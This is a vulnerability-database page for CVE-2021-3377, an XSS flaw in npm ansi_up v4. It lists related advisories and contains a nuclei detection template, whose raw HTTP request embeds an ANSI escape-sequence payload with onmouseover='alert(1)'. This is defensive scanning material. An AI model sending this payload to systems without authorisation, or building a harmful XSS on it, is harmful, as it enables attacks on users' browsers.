Lucene search
K

npm ansi_up v4 - Cross-Site Scripting

🗓️ 03 Jul 2026 03:01:05Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 42 Views

npm ansi_up v4 - Cross-Site Scripting vulnerability, upgrade to v5.0.0 or late

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2021-3377
27 Apr 202309:58
circl
CNNVD
ansi_up 跨站脚本漏洞
5 Mar 202100:00
cnnvd
CVE
CVE-2021-3377
5 Mar 202119:03
cve
Cvelist
CVE-2021-3377
5 Mar 202119:03
cvelist
Debian CVE
CVE-2021-3377
5 Mar 202119:03
debiancve
Github Security Blog
ansi_up cross-site scripting vulnerability
11 Mar 202122:50
github
NVD
CVE-2021-3377
5 Mar 202121:15
nvd
OSV
DEBIAN-CVE-2021-3377
5 Mar 202121:15
osv
OSV
GHSA-2V5F-23XC-V9QR ansi_up cross-site scripting vulnerability
11 Mar 202122:50
osv
OSV
UBUNTU-CVE-2021-3377
5 Mar 202121:15
osv
Rows per page
id: CVE-2021-3377

info:
  name: npm ansi_up v4 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: npm package ansi_up v4 is vulnerable to cross-site scripting because ANSI escape codes can be used to create HTML hyperlinks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a user's browser, leading to potential data theft or unauthorized actions.
  remediation: Upgrade to v5.0.0 or later.
  reference:
    - https://doyensec.com/resources/Doyensec_Advisory_ansi_up4_XSS.pdf
    - https://github.com/drudru/ansi_up/commit/c8c726ed1db979bae4f257b7fa41775155ba2e27
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3377
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-3377
    cwe-id: CWE-79
    epss-score: 0.08
    epss-percentile: 0.94055
    cpe: cpe:2.3:a:ansi_up_project:ansi_up:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: ansi_up_project
    product: ansi_up
    framework: node.js
  tags: cve2021,cve,xss,npm,ansi_up_project,node.js,vuln

http:
  - raw:
      - |+
        GET /\u001B]8;;https://interact.sh"/onmouseover="alert(1)\u0007example\u001B]8;;\u0007 HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        words:
          - "sh\"/onmouseover=\"alert(1)\">"
# digest: 490a0046304402201128068593760faab1867d2c2e86d7c959c5bcffd1624cf89e1a7dfb78a7ca710220316ca151073313a34e1a8cb34df417f3c9d36585dd120dc9ea375d41188f1909:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 24.3
CVSS 3.16.1
EPSS0.08
42